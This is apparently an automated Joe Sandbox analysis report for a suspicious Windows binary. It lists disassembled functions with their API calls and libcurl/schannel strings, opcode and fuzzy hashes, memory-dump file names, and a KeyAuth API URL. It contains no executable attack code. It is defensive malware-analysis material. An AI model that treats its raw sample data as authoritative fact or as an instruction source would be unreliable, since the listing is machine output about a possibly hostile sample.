free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B736F7E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B737023

Strings

GMT, xrefs: 00007FF79B736D0E
%.4s-%.2s-%.2s %.2s:%.2s:%c%c%s%.*s%s%.*s, xrefs: 00007FF79B736D81
Signature Algorithm: %s, xrefs: 00007FF79B737011
Signature Algorithm, xrefs: 00007FF79B736FF7
Serial Number: %s, xrefs: 00007FF79B736F6C
Serial Number, xrefs: 00007FF79B736F52

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free
String ID: Serial Number: %s$ Signature Algorithm: %s$ GMT$%.4s-%.2s-%.2s %.2s:%.2s:%c%c%s%.*s%s%.*s$Serial Number$Signature Algorithm
API String ID: 1294909896-599393795
Opcode ID: 63857b9f88c73a3064a1e0c02ff08f03428f3bc832e62006535a3ca44d91489c
Instruction ID: 82b060e47eb091a399f7e72af297717354a0163922a92b563d51d73113f86598
Opcode Fuzzy Hash: 63857b9f88c73a3064a1e0c02ff08f03428f3bc832e62006535a3ca44d91489c
Instruction Fuzzy Hash: DF61B5A1A0C69A44EB34AB3DA4441B9EBA2EB09784FC44637D94D077B5DF3CE748D320

Function 00007FF79B737F55 Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B737F98
memcpy.VCRUNTIME140 ref: 00007FF79B737FBE
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B738092
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7380F9
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B738139
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73814C

Strings

Signature: %s, xrefs: 00007FF79B7380E7
Signature, xrefs: 00007FF79B7380CF

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$malloc$memcpy
String ID: Signature: %s$Signature
API String ID: 901724546-1663925961
Opcode ID: 345c0efb75e5f5e3bfb360a7d56e46c10df3a749cc31020d7aafd10691290c92
Instruction ID: d68c0d47c1b32672a11126dee4c8b4d8fadebd38badf417f8245d3c8b160b9ec
Opcode Fuzzy Hash: 345c0efb75e5f5e3bfb360a7d56e46c10df3a749cc31020d7aafd10691290c92
Instruction Fuzzy Hash: C0512A11A0968A42EE39A73DA4542B9A791FB497E0F844737CA5F077F5EE3CD2498320

Function 00007FF79B6FEEA0 Relevance: 12.1, APIs: 8, Instructions: 129COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6FEEE6
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6FEF12
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6FEF3E

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _strdup
String ID:
API String ID: 1169197092-0
Opcode ID: 47633c79588f7ee5fbe3b141cbb66ca3a80cc9efcd521e0df166b97a8c85c563
Instruction ID: e74db3315ae1c0414d079434ab9055e973a68855f3cc4095139b59c6899e8e41
Opcode Fuzzy Hash: 47633c79588f7ee5fbe3b141cbb66ca3a80cc9efcd521e0df166b97a8c85c563
Instruction Fuzzy Hash: 1C517622A1AB4182EB65CF69F041128B7A4FB48F84B481136EF9D03765EF38F5E18750

Function 00007FF79B736B97 Relevance: 12.1, APIs: 2, Strings: 6, Instructions: 123COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B736F7E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B737023

Strings

GMT, xrefs: 00007FF79B736BF6
Signature Algorithm: %s, xrefs: 00007FF79B737011
Signature Algorithm, xrefs: 00007FF79B736FF7
Serial Number: %s, xrefs: 00007FF79B736F6C
%u%.2s-%.2s-%.2s %.2s:%.2s:%.2s %.*s, xrefs: 00007FF79B736C49
Serial Number, xrefs: 00007FF79B736F52

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free
String ID: Serial Number: %s$ Signature Algorithm: %s$%u%.2s-%.2s-%.2s %.2s:%.2s:%.2s %.*s$GMT$Serial Number$Signature Algorithm
API String ID: 1294909896-3876350232
Opcode ID: 78f50a21b7f34b2d023b796abcd60e340b68c6140382275490a97a3042a013e5
Instruction ID: 416307fa3f3ce89030381486572cf7f055969c5d50fe61557b30903648460f89
Opcode Fuzzy Hash: 78f50a21b7f34b2d023b796abcd60e340b68c6140382275490a97a3042a013e5
Instruction Fuzzy Hash: 78516361A0D78A84EB24AB7DA4401F9E762BB09784FC84637DA4D17375DF3CE7488320

Function 00007FF79B737954 Relevance: 12.1, APIs: 4, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73798F
memcpy.VCRUNTIME140 ref: 00007FF79B7379B5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B737AF9
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B737BC2

Strings

Public Key Algorithm: %s, xrefs: 00007FF79B737B92
Public Key Algorithm, xrefs: 00007FF79B737B78
Expire Date, xrefs: 00007FF79B737ACD
Expire Date: %s, xrefs: 00007FF79B737AE7

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$mallocmemcpy
String ID: Expire Date: %s$ Public Key Algorithm: %s$Expire Date$Public Key Algorithm
API String ID: 3401966785-2901970132
Opcode ID: 6033982258b0eef9005531746be83ee8e6b9dd8905cea50568e3603bd33cd3c7
Instruction ID: fdc7e0579f9e46e5f3d55d86f0c6286a4bd61270d577ecf5b737b35a555a796d
Opcode Fuzzy Hash: 6033982258b0eef9005531746be83ee8e6b9dd8905cea50568e3603bd33cd3c7
Instruction Fuzzy Hash: 49418261A0878A55EA25AB7DA8441F9A7A2BF0D794FC40637CD1D077B5EE3CA3088320

Function 00007FF79B71C930 Relevance: 11.3, APIs: 9, Instructions: 89COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B71C9FC
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B71CA0A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B71CA18
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B71CA26
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B71CA34
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B71CA42
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B71CA50
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B71CA5E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B71CA6C

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 1e9cdfff36ca690872912e0e694f6311f5828980c35702adb4f25b4d88f6cc40
Instruction ID: 13add519591d6a101410ddf4aee5aad3c8745db5b7d2a7375c04224967e1e71e
Opcode Fuzzy Hash: 1e9cdfff36ca690872912e0e694f6311f5828980c35702adb4f25b4d88f6cc40
Instruction Fuzzy Hash: 28413D22908B56C2E771EF799480228B7A4FB8DF94F844236DA8D57374CF38DA90C760

Function 00007FF79B6F9870 Relevance: 11.3, APIs: 9, Instructions: 68COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F98EA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F98F4
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F98FE
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F9908
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F9912
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F991C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F9926
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F9930
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F9939

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 2235685d1bd13b24c76ffc2ea7d855fa4edaccd02b99331bdd79d568c78d06ab
Instruction ID: 66a94c46924657734d20eff6edf06b74584f4ce0f13ef6e6419af0a65378e91b
Opcode Fuzzy Hash: 2235685d1bd13b24c76ffc2ea7d855fa4edaccd02b99331bdd79d568c78d06ab
Instruction Fuzzy Hash: B6312D36A08A55C2D720AF26E845129B360FB89FD4F880132DEAD03B78CF7CE545C710

Function 00007FF79B6F9990 Relevance: 11.3, APIs: 9, Instructions: 32COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F99A9
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F99B3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F99BD
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F99C7
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F99D1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F99DB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F99E5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F99EF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F99F8

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 734636d28ebe92a552abe8424702d892e2a077f184f451bb8255f658a3df093b
Instruction ID: 2b4dc00f21fe0766a1cdc01231292a08ef07405679a5bb6f6a8f3adf1a469f20
Opcode Fuzzy Hash: 734636d28ebe92a552abe8424702d892e2a077f184f451bb8255f658a3df093b
Instruction Fuzzy Hash: EA017925614A05C2DB24AF36ED95028A321FF8CF95B841132CD9E43774CE7CE999C360

Function 00007FF79B733F20 Relevance: 10.7, APIs: 7, Instructions: 242COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79B6FBC00: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FBC36
Part of subcall function 00007FF79B6FBC00: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FBC46
Part of subcall function 00007FF79B6FBC00: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FBC54
Part of subcall function 00007FF79B6FBC00: memset.VCRUNTIME140 ref: 00007FF79B6FBC8F

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B733FE9
memcpy.VCRUNTIME140 ref: 00007FF79B734004
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73401E

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$mallocmemcpymemset
String ID:
API String ID: 1579693990-0
Opcode ID: acd390c1a12e34a85b50b4d437532fee1f9e274726e5f98373e38d2a703eb18b
Instruction ID: 392fecb0ed8c6e7ed2dafd26bd9ada069f946757a7232e7301af507f2eda73d1
Opcode Fuzzy Hash: acd390c1a12e34a85b50b4d437532fee1f9e274726e5f98373e38d2a703eb18b
Instruction Fuzzy Hash: D191C751B0C74A42FE78BA3A6491379E2A1AF49BC4F84413ADE5D477B5DF2CF6058320

Function 00007FF79B708FE0 Relevance: 10.7, APIs: 4, Strings: 3, Instructions: 217stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00007FF79B708FA8), ref: 00007FF79B7090F5
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00007FF79B708FA8), ref: 00007FF79B70910F

Strings

I32, xrefs: 00007FF79B7090E5, 00007FF79B709145
Internal error removing splay node = %d, xrefs: 00007FF79B708FF2
I64, xrefs: 00007FF79B709105, 00007FF79B70916F

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: strncmp
String ID: I32$I64$Internal error removing splay node = %d
API String ID: 1114863663-13178787
Opcode ID: bd4a6c465e0bce7c2a912e253289e6a8022db79ca8432d680972d7c5c4570fb2
Instruction ID: 04e4b5ec050ecdcb7a4ed24b4d4c77044e96261858bc736b73fcd3f28e81666a
Opcode Fuzzy Hash: bd4a6c465e0bce7c2a912e253289e6a8022db79ca8432d680972d7c5c4570fb2
Instruction Fuzzy Hash: EDA17332A1864685E731AB29D85877DBBB4FB49B48F854237CA9D422B4DF3CD308C750

Function 00007FF79B718EB0 Relevance: 10.7, APIs: 4, Strings: 3, Instructions: 184COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7190DA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B71911F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B719147
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B719189

Strings

schannel: failed to send close msg: %s (bytes written: %zd), xrefs: 00007FF79B7190A3
schannel: shutting down SSL/TLS connection with %s port %hu, xrefs: 00007FF79B718F2E
schannel: ApplyControlToken failure: %s, xrefs: 00007FF79B718FB8

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free
String ID: schannel: ApplyControlToken failure: %s$schannel: failed to send close msg: %s (bytes written: %zd)$schannel: shutting down SSL/TLS connection with %s port %hu
API String ID: 1294909896-116363806
Opcode ID: 04335c42e9716a653529e3186ffeb2a35cc4dcf0e502c88fabcf4ef4218a83d3
Instruction ID: d0e8817d6bc6808f8a2434e3341a21de405a3ca97d06b73e8aa0da4279f3578c
Opcode Fuzzy Hash: 04335c42e9716a653529e3186ffeb2a35cc4dcf0e502c88fabcf4ef4218a83d3
Instruction Fuzzy Hash: 47915A32604B8986EB20DF29D8846AE77B5FB88B85F840636CE4D47774DF38D645CB20

Function 00007FF79B6F917C Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 154COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6F9182
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6F9371

Strings

FALSE, xrefs: 00007FF79B6F934B
%s cookie %s="%s" for domain %s, path %s, expire %I64d, xrefs: 00007FF79B6F9617
Replaced, xrefs: 00007FF79B6F9601
Added, xrefs: 00007FF79B6F960D

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _strdup
String ID: %s cookie %s="%s" for domain %s, path %s, expire %I64d$Added$FALSE$Replaced
API String ID: 1169197092-2292467869
Opcode ID: 3875f451a44e613a8e67258952ab03e6a0daf9c8b0667900e878cf160189b3a0
Instruction ID: 403c1352db81792f1de8c82c79b8b7a3407b1977db8453a065681cec1d2bc951
Opcode Fuzzy Hash: 3875f451a44e613a8e67258952ab03e6a0daf9c8b0667900e878cf160189b3a0
Instruction Fuzzy Hash: 87618322E0C78A45FF75AB39944A37AA7A2EF56754F840136CB9D026F1DF2CF6448360

Function 00007FF79B6F9319 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 153COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6F931C

Part of subcall function 00007FF79B7176F0: strchr.VCRUNTIME140 ref: 00007FF79B717726

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6F9371

Strings

FALSE, xrefs: 00007FF79B6F934B
%s cookie %s="%s" for domain %s, path %s, expire %I64d, xrefs: 00007FF79B6F9617
Replaced, xrefs: 00007FF79B6F9601
Added, xrefs: 00007FF79B6F960D

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _strdup$strchr
String ID: %s cookie %s="%s" for domain %s, path %s, expire %I64d$Added$FALSE$Replaced
API String ID: 3404610657-2292467869
Opcode ID: 0d0281a6a9d33203c78245d65f35b1779298f9b59731c09605da70b9a7b7bc01
Instruction ID: 0105d8aaf658263b68a907787e34b0fff26d2a3f7f99a960b62adc6c1838523f
Opcode Fuzzy Hash: 0d0281a6a9d33203c78245d65f35b1779298f9b59731c09605da70b9a7b7bc01
Instruction Fuzzy Hash: 72618262E0C78A45FF75AB39944937AA7A2EF56754F880036CB9D026F1DF2CF6448360

Function 00007FF79B6E5DD0 Relevance: 10.6, APIs: 7, Instructions: 146COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?,00007FF79B6E1DBA), ref: 00007FF79B6E5E61
memcpy.VCRUNTIME140(?,?,?,00007FF79B6E1DBA), ref: 00007FF79B6E5EA5
memcpy.VCRUNTIME140(?,?,?,00007FF79B6E1DBA), ref: 00007FF79B6E5EBD
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00007FF79B6E1DBA), ref: 00007FF79B6E5F42

Part of subcall function 00007FF79B73F1F0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,-3333333333333333,00007FF79B6E43EE,7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF79B6E1B49), ref: 00007FF79B73F20A

memcpy.VCRUNTIME140(?,?,?,00007FF79B6E1DBA), ref: 00007FF79B6E5F74
memcpy.VCRUNTIME140(?,?,?,00007FF79B6E1DBA), ref: 00007FF79B6E5F8F
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF79B6E5FAC

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmalloc
String ID:
API String ID: 1155477157-0
Opcode ID: 294cce447d60880335344067cce1c8243e8d16be0f0136f9d3ef8275642a61a9
Instruction ID: 343c9b3117ab1536bfce1bf85cdf874efa5ad897ce2f55c0aa1f08922a7280e1
Opcode Fuzzy Hash: 294cce447d60880335344067cce1c8243e8d16be0f0136f9d3ef8275642a61a9
Instruction Fuzzy Hash: 7551B032A04B8981EB24AF79A504269A362FB15BD4F944A31DF3D073E1CF79F2A5C350

Function 00007FF79B723400 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 146stringCOMMON

Download Yara Rule

APIs

strstr.VCRUNTIME140 ref: 00007FF79B7234C3

Strings

, xrefs: 00007FF79B723467
Data conn was not available immediately, xrefs: 00007FF79B7235B7
Maxdownload = %I64d, xrefs: 00007FF79B72355C, 00007FF79B7235FB
Getting file with size: %I64d, xrefs: 00007FF79B723575
RETR response: %03d, xrefs: 00007FF79B723458
bytes, xrefs: 00007FF79B7234B9

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: strstr
String ID: $ bytes$Data conn was not available immediately$Getting file with size: %I64d$Maxdownload = %I64d$RETR response: %03d
API String ID: 1392478783-2096918210
Opcode ID: 2ce98bc489eaaa130b1f53256a2192507bea2260cd7937c79d1f3d34b8a997a0
Instruction ID: 1f48bd5852fdb8072d4540cbc4f2a94bf9dbea68e66954e2ef287f34fa2a246f
Opcode Fuzzy Hash: 2ce98bc489eaaa130b1f53256a2192507bea2260cd7937c79d1f3d34b8a997a0
Instruction Fuzzy Hash: B351C862A0868E45EB35AA7DA4442B8E291EB49774FC50333DA5D026F1DF7CD6818730

Function 00007FF79B7202C0 Relevance: 10.6, APIs: 6, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72030A
memcpy.VCRUNTIME140 ref: 00007FF79B720421
memcpy.VCRUNTIME140 ref: 00007FF79B720492
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7204BE
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7204D0

Strings

Failed to alloc scratch buffer!, xrefs: 00007FF79B720320

Memory Dump Source

